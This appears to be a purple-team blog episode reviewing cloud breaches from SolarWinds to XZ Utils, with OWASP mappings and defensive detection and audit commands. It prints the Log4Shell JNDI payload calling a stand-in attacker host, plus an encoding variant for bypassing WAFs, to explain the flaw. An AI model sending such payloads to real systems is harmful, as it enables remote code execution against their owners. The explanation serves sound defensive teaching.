What is purple team security → OWASP Top 10 mapped to cloud infrastructure → Cloud security breaches 2020–2025
TL;DR
- Cloud security breaches from 2020 to 2025 cluster into three root causes: identity compromise, supply chain compromise, and misconfiguration — every major incident falls into at least one
- SolarWinds (Dec 2020): build pipeline compromise — attacker signed malware with a legitimate cert (A08)
- Log4Shell (Dec 2021): injection in a logging library present in millions of Java apps (A03)
- Uber (Sep 2022): MFA fatigue against a contractor → hardcoded admin creds on internal share (A07 + A02)
- CircleCI (Jan 2023): session token stolen from an engineer’s laptop → CI/CD secrets exfiltrated (A07 + A08)
- Okta (Oct 2023): support system access via stolen credentials → customer tenant data exposed (A07)
- XZ Utils (Apr 2024): 2-year social engineering campaign → backdoor in release tarball (A08 + A06)
- The attack surface does not change — only the specific vector within each category
OWASP Mapping: This episode is cross-category — A01 through A10 all appear. Each breach is annotated with its primary OWASP mapping.
The Big Picture
┌────────────────────────────────────────────────────────────────────┐
│ 2020–2025 BREACH TIMELINE │
│ │
│ Dec 2020 Dec 2021 Sep 2022 Jan 2023 Oct 2023 Apr 2024 │
│ │ │ │ │ │ │ │
│ ▼ ▼ ▼ ▼ ▼ ▼ │
│ Solar- Log4Shell Uber CircleCI Okta XZ Utils│
│ Winds │
│ │
│ ══════════════════════════════════════════════════════════ │
│ │
│ Root Cause Categories (3 total): │
│ │
│ SUPPLY CHAIN IDENTITY MISCONFIGURATION │
│ SolarWinds Uber Capital One (2019) │
│ XZ Utils Okta CircleCI (partial) │
│ Log4Shell (partial) CircleCI (initial) │
│ │
│ OWASP Primaries: │
│ A08 → A07 → A07 → A07/A08 → A07 → A08/A06 │
│ │
└────────────────────────────────────────────────────────────────────┘
The cloud security breaches from 2020 to 2025 reveal a consistent pattern: attackers are not finding new classes of vulnerability. They are exploiting the same three root causes — identity, supply chain, misconfiguration — in different combinations against different technology stacks.
Why These Breaches Are the Curriculum
Every episode in this series from EP04 onward takes a specific attack path from these incidents and walks through the simulation, detection, and fix. You cannot understand the fix without understanding the breach mechanics. And you cannot understand why your detection didn’t fire without knowing what the attacker actually did.
This episode is the reference. When EP05 covers MFA fatigue, it builds on the Uber anatomy here. When EP09 covers XZ Utils, the supply chain mechanics here are the foundation.
December 2020: SolarWinds — Supply Chain at Scale
OWASP: A08 (Software and Data Integrity Failures)
SolarWinds is the incident that defined supply chain attacks for the decade. The attacker — attributed to Russia’s SVR — compromised the build environment for SolarWinds Orion IT monitoring software in early 2020. They inserted a backdoor called SUNBURST into the software build pipeline.
The mechanics:
Normal build pipeline:
Source code → Build system → Sign with SolarWinds cert → Distribute → Customer installs
Compromised pipeline (SolarWinds):
Source code → Build system → [SUNBURST injected here] → Sign with SolarWinds cert → Distribute → 18,000 customers install
SUNBURST was signed with SolarWinds’ legitimate Authenticode certificate. It passed signature verification. It was distributed through the normal software update mechanism. Customers with automatic updates installed it because the update was signed by a trusted vendor.
The backdoor remained dormant for 12–14 days after installation before activating. It used DGA (domain generation algorithm) to contact C2 infrastructure, disguising traffic as Orion telemetry. After the initial beaconing period, the attacker manually selected targets from the 18,000 infected environments.
Confirmed affected organizations: US Treasury, US Commerce Department, FireEye, Microsoft, Intel, Deloitte.
What a detection would have looked like:
– Unexpected outbound DNS queries to avsvmcloud.com subdomains
– Orion software making network connections outside its normal profile
– New scheduled tasks or service modifications by the Orion process
The structural failure: The build system was not isolated, not monitored for unexpected behavior, and the build process itself was not reproducible from source. A reproducible build would have made the SUNBURST injection detectable — the build output would not match the source.
December 2021: Log4Shell — Injection in a Logging Library
OWASP: A03 (Injection), A06 (Vulnerable and Outdated Components)
Log4Shell (CVE-2021-44228) is the closest thing to a universal vulnerability that existed in the 2020s. Log4j 2.x was embedded in thousands of Java applications — not as a direct dependency but as a transitive dependency, often several layers deep in the dependency tree. Developers frequently didn’t know they were running it.
The vulnerability: Log4j evaluated JNDI (Java Naming and Directory Interface) lookups embedded in logged strings. Any input that ended up in a log message could trigger a JNDI lookup:
${jndi:ldap://attacker.com/exploit}
# Log4j evaluates the expression, makes LDAP request to attacker.com
# Attacker's LDAP server responds with a Java class
# Log4j loads and executes the class
# Result: remote code execution
The attack was trivial to launch and extremely difficult to fully enumerate exposure for — because Log4j was present as a transitive dependency in components that teams didn’t know they owned.
What made it particularly bad for cloud infrastructure:
– Lambda functions, ECS containers, EKS workloads, and Elastic Beanstalk apps all potentially affected
– WAFs were initially bypassed with encoding variants (${${lower:j}ndi:...})
– The vulnerable class wasn’t in the primary JAR — it was in log4j-core, which appeared as an indirect dependency
# Find Java applications that might include log4j (rough scan — requires access to filesystems)
find / -name "log4j*.jar" -o -name "log4j-core*.jar" 2>/dev/null
# In a Kubernetes context — check running container images for log4j
kubectl get pods -A -o json | \
jq -r '.items[].spec.containers[].image' | \
sort -u
# Then scan each image: trivy image --severity CRITICAL <image>
The fix was patching — upgrading Log4j to 2.17.0+. The mitigation was log4j2.formatMsgNoLookups=true or removing the JndiLookup class from the classpath. Neither mitigation addressed the root cause of having an outdated component with critical CVE.
September 2022: Uber — MFA Fatigue Meets Hardcoded Credentials
OWASP: A07 (Identification and Authentication Failures), A02 (Cryptographic Failures)
The Uber breach is a clean illustration of attack chaining: one authentication failure enables discovery of a second authentication failure.
Minute-by-minute anatomy:
- Attacker purchases Uber contractor credentials on a criminal marketplace (or phishes them directly)
- Contractor has MFA enrolled — Duo push notifications
- Attacker initiates login repeatedly, triggering Duo push notifications to contractor’s phone
- Contractor rejects 3–4 push notifications
- Attacker sends WhatsApp message to contractor’s phone: “Hi, this is IT support. We’re having an issue with your account. Please accept the next Duo notification.”
- Contractor accepts
- Attacker is in
From inside the Uber network, the attacker found a network share accessible to contractors. On that share: a PowerShell script. In that script: hardcoded admin credentials for Thycotic, Uber’s privileged access management (PAM) system.
With Thycotic admin access, the attacker retrieved credentials for: AWS, GCP, GSuite, VMware, Slack, HackerOne. Full internal access.
The two failures:
– A07: Push-notification MFA that can be defeated by social engineering + fatigue
– A02: Admin credentials in a plaintext PowerShell script on a network share
# Detect MFA fatigue attempts in Okta logs (if Okta is the IdP)
# Query: multiple MFA push rejections followed by acceptance within short window
# In Okta System Log API:
curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \
"https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\"user.authentication.auth_via_mfa\"&since=2024-01-01T00:00:00Z" | \
jq '[.[] | select(.outcome.result == "FAILURE")] | group_by(.actor.id) | map({user: .[0].actor.displayName, failures: length}) | sort_by(.failures) | reverse | .[0:10]'
The structural fix for MFA fatigue is not user training. It is replacing push-notification MFA with phishing-resistant MFA: FIDO2 hardware keys (YubiKey) or passkeys. A hardware key requires physical presence — a WhatsApp message cannot convince a hardware key to authenticate.
January 2023: CircleCI — Session Token Theft and Secret Exfiltration
OWASP: A07 (Authentication Failures), A08 (Software and Data Integrity Failures)
CircleCI disclosed in January 2023 that an attacker had accessed customer data — specifically, environment variables, tokens, and keys stored by customers in CircleCI’s secret storage.
The attack chain:
- Malware on a CircleCI engineer’s laptop stole a 2FA-backed SSO session token
- The session token was valid and not yet expired — no MFA re-challenge for the session
- Attacker used the session token to access CircleCI’s internal systems
- From internal systems, attacker accessed the production database containing encrypted customer secrets
- The encryption keys were also accessible — attacker obtained both
The attack did not break encryption. It circumvented encryption by accessing the keys through internal systems that the compromised session token could reach.
What customers stored in CircleCI that was exposed:
– AWS IAM access keys and secret keys
– GitHub tokens
– DockerHub credentials
– SSH private keys
– API tokens for third-party services
The scale: CircleCI could not enumerate which customer secrets were accessed — they notified all customers with environment variables stored in the system.
# After a CI/CD platform breach: rotate all credentials that were stored there
# Start with AWS credentials — find and disable exposed access keys
# List all IAM access keys
aws iam list-users --query 'Users[].UserName' --output text | \
tr '\t' '\n' | \
while read user; do
aws iam list-access-keys --user-name "$user" \
--query "AccessKeyMetadata[].{User:'$user',Key:AccessKeyId,Status:Status,Created:CreateDate}" \
--output table
done
# Disable a specific access key
aws iam update-access-key \
--access-key-id AKIAIOSFODNN7EXAMPLE \
--status Inactive \
--user-name affected-user
The structural lesson: Secrets stored in a CI/CD platform are only as secure as that platform’s internal access controls and the endpoint security of the engineers who access it. The alternative — short-lived credentials via OIDC workload identity — means no long-lived secrets exist to exfiltrate.
October 2023: Okta — Support System Compromise
OWASP: A07 (Identification and Authentication Failures)
Okta is the identity provider for thousands of organizations. An attacker who compromises Okta’s support system gains access to customer identity configurations.
In October 2023, Okta disclosed that an attacker had accessed their customer support case management system using stolen credentials. The attacker used that access to view HTTP Archive (HAR) files that customers had uploaded as part of support tickets. HAR files capture all network traffic in a browser session — including session cookies and authentication tokens.
What the attacker retrieved from HAR files:
– Active session tokens for customer Okta admin accounts
– Enough data to authenticate as Okta admins for affected customers
Confirmed affected customers (that disclosed publicly):
– 1Password (detected and contained quickly)
– Cloudflare
– BeyondTrust
The dwell time: Okta’s later forensic analysis revealed the attacker had access for two weeks before the disclosure.
# Check Okta System Log for suspicious admin activity
# Look for admin authentications from unusual IPs or at unusual times
curl -H "Authorization: SSWS ${OKTA_API_TOKEN}" \
"https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\"user.session.start\"+and+actor.type+eq+\"User\"&since=$(date -d '30 days ago' --iso-8601=seconds)" | \
jq '.[] | {user: .actor.displayName, ip: .client.ipAddress, time: .published, result: .outcome.result}'
The structural implication for organizations using Okta: Tier-0 accounts (Okta administrators) need break-glass procedures and hardware key MFA — not because Okta itself will be compromised, but because a support system compromise at a SaaS provider can expose session context that reaches those accounts.
April 2024: XZ Utils — Two Years of Social Engineering
OWASP: A08 (Software and Data Integrity Failures), A06 (Vulnerable and Outdated Components)
XZ Utils (CVE-2024-3094) is the most sophisticated supply chain attack to date in the open-source ecosystem. The attacker operated under the pseudonym “Jia Tan” and spent approximately two years building trust in the XZ Utils project before inserting a backdoor.
The timeline:
2022 Q4 — Jia Tan begins contributing to XZ Utils with legitimate, high-quality patches
2023 Q1 — Jia Tan increases contribution frequency; original maintainer shows signs of burnout
2023 Q2 — Jia Tan gains commit access to XZ Utils
2024 Q1 — Jia Tan releases XZ Utils 5.6.0 and 5.6.1 with backdoor in release tarball
(NOT in git repository — only in the distributed tarball)
2024 Q2 — Andres Freund (Microsoft engineer, incidentally) notices SSH is 500ms slower
on systems with xz 5.6.x; investigates; finds backdoor
Reported April 1, 2024; CVE assigned April 2, 2024
The backdoor’s target: The backdoor patched sshd via systemd on glibc-based Linux systems. On affected systems, it would have given the attacker remote code execution on SSH servers — specifically, authentication bypass for a specific RSA key pair held by the attacker.
What was 1–2 weeks from shipping broadly:
– Fedora 40 (test release only — caught before stable)
– Debian unstable/testing
– openSUSE Tumbleweed
The detection insight: The backdoor was in the release tarball, not the git repository. git clone and git diff would not have shown it. The only detection was comparing the distributed tarball’s build output against a reproducible build from source — or noticing the anomalous SSH latency.
# Check if your systems have the affected xz version
xz --version
# Vulnerable: 5.6.0 or 5.6.1
# Check on RPM-based systems
rpm -q xz
# Check on Debian/Ubuntu systems
dpkg -l xz-utils
# Check for sshd linked against compromised libzma
ldd $(which sshd) | grep liblzma
# If libzma is present and xz is 5.6.0 or 5.6.1, the system was exposed
The Three Root Causes: A Framework for Your Exercise Backlog
After analyzing these six incidents (and the broader 2020–2025 breach landscape), three root causes account for virtually every major cloud infrastructure compromise:
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ROOT CAUSE 1: IDENTITY │
│ Attacker obtains valid credentials — stolen, phished, │
│ or socially engineered. MFA does not stop it if MFA │
│ itself can be bypassed (fatigue, SIM swap, token theft). │
│ Incidents: Uber, Okta, CircleCI (initial vector) │
│ │
│ ROOT CAUSE 2: SUPPLY CHAIN │
│ Attacker compromises something you trust: a vendor's │
│ software, a build pipeline, an open-source dependency. │
│ The artifact you install is legitimate — and malicious. │
│ Incidents: SolarWinds, XZ Utils, Log4Shell (component) │
│ │
│ ROOT CAUSE 3: MISCONFIGURATION │
│ An access control is wrong. A resource is exposed that │
│ shouldn't be. An encryption requirement is missing. │
│ No attacker capability required — just knowledge of the gap. │
│ Incidents: Capital One (S3 + IAM), public buckets broadly │
│ │
└─────────────────────────────────────────────────────────────────┘
Your purple team exercise backlog should cover all three. The remaining episodes in this series address each one:
- Identity: EP05 (MFA fatigue), EP10 (cross-account lateral movement)
- Supply chain: EP06 (CI/CD secrets), EP09 (SolarWinds to XZ Utils)
- Misconfiguration: EP04 (broken access control in AWS), EP07 (SSRF/IMDS), EP08 (container escape)
Run This in Your Own Environment: Breach Scenario Self-Assessment
Before starting the technique-specific episodes, run this self-assessment to identify which breach scenario your environment is most exposed to:
#!/bin/bash
# Purple Team EP03 — Breach Exposure Self-Assessment
echo "=== IDENTITY EXPOSURE ==="
echo "--- Users with console access and no MFA ---"
aws iam generate-credential-report > /dev/null 2>&1 && sleep 3
aws iam get-credential-report --query 'Content' --output text | \
base64 -d | awk -F',' 'NR>1 && $4=="true" && $8=="false" {print " NO MFA: " $1}'
echo ""
echo "=== SUPPLY CHAIN EXPOSURE ==="
echo "--- Lambda functions with old runtimes (EOL = higher CVE exposure) ---"
aws lambda list-functions \
--query 'Functions[?Runtime==`python3.8` || Runtime==`nodejs14.x` || Runtime==`java8`].{Name:FunctionName,Runtime:Runtime}' \
--output table
echo ""
echo "=== MISCONFIGURATION EXPOSURE ==="
echo "--- S3 buckets without account-level public access block ---"
ACCOUNT=$(aws sts get-caller-identity --query Account --output text)
PAB=$(aws s3control get-public-access-block --account-id "$ACCOUNT" 2>/dev/null)
if [ -z "$PAB" ]; then
echo " CRITICAL: Account-level S3 public access block is NOT set"
else
echo "$PAB" | jq '{BlockPublicAcls, IgnorePublicAcls, BlockPublicPolicy, RestrictPublicBuckets}'
fi
echo ""
echo "--- EC2 instances with IMDSv1 enabled (SSRF risk) ---"
aws ec2 describe-instances \
--query 'Reservations[].Instances[?MetadataOptions.HttpTokens!=`required`].{ID:InstanceId,State:State.Name}' \
--output table
⚠ Common Mistakes When Using Breach History as a Training Resource
Assuming “we’re not SolarWinds” means supply chain doesn’t apply. You don’t have to be a software vendor. Your GitHub Actions workflows pull third-party actions. Your Dockerfiles pull base images. Your Lambda functions install pip packages. Every external artifact is a supply chain dependency.
Treating Log4Shell as “old news.” The vulnerability was disclosed in 2021. Organizations are still finding Log4j in unexpected places in 2024 — embedded in monitoring agents, database drivers, and vendor-supplied applications where the dependency tree was never audited.
Responding to Uber/Okta by mandating security awareness training. The Uber breach happened to an experienced contractor who made one decision under social pressure. The structural fix is hardware MFA that cannot be fatigue-attacked — not a training module that adds friction and gets clicked through.
Not correlating your own logs against breach indicators. Every breach in this episode produced specific, searchable indicators: specific CloudTrail event patterns, specific process behaviors, specific network anomalies. If you have historical logs, you can run indicators of compromise against them to see whether your environment would have surfaced those indicators.
Quick Reference
| Breach | Year | OWASP Primary | Root Cause | Structural Fix |
|---|---|---|---|---|
| SolarWinds | 2020 | A08 | Supply chain — build pipeline compromise | Reproducible builds, build system isolation |
| Log4Shell | 2021 | A03, A06 | Injection + vulnerable component | Patch + dependency inventory |
| Uber | 2022 | A07, A02 | Identity — MFA fatigue + hardcoded creds | Hardware MFA + no hardcoded secrets |
| CircleCI | 2023 | A07, A08 | Identity — session token theft → CI secret theft | OIDC short-lived creds instead of stored secrets |
| Okta | 2023 | A07 | Identity — support system compromise → token theft | Hardware MFA for tier-0, session token rotation |
| XZ Utils | 2024 | A08, A06 | Supply chain — social engineering → maintainer trust | Reproducible builds, artifact signing, SLSA |
Key Takeaways
- Cloud security breaches from 2020 to 2025 cluster into three root causes: identity compromise, supply chain compromise, and misconfiguration — every major incident is one or more of these
- SolarWinds and XZ Utils are the same attack class: compromise the build pipeline and sign the result with a trusted key
- Uber demonstrates that MFA does not prevent breach when the MFA mechanism is push-notification — fatigue + social engineering defeats it
- CircleCI demonstrates that long-lived secrets stored in a CI/CD platform are only as secure as that platform — OIDC short-lived credentials eliminate the exposure
- Log4Shell demonstrates that vulnerable transitive dependencies are invisible without active dependency scanning — “we didn’t use Log4j” was wrong for thousands of organizations
- The attack surface does not change: the same three root causes that caused SolarWinds in 2020 caused XZ Utils in 2024
- Your purple team exercise backlog should include at least one scenario for each of the three root causes
What’s Next
EP04 starts the technique-specific episodes with broken access control in AWS — the most common OWASP A01 manifestation in cloud infrastructure. The exercise scenario: an S3 bucket with 47 million records, public for six months, with no alert ever firing. We simulate it, detect it, and fix the IAM and S3 configuration so it cannot happen in your account. If you want the full context for AWS IAM privilege escalation paths that broken access control enables, the IAM series EP08 covers that attack chain in detail.
Get EP04 in your inbox when it publishes → subscribe at linuxcent.com
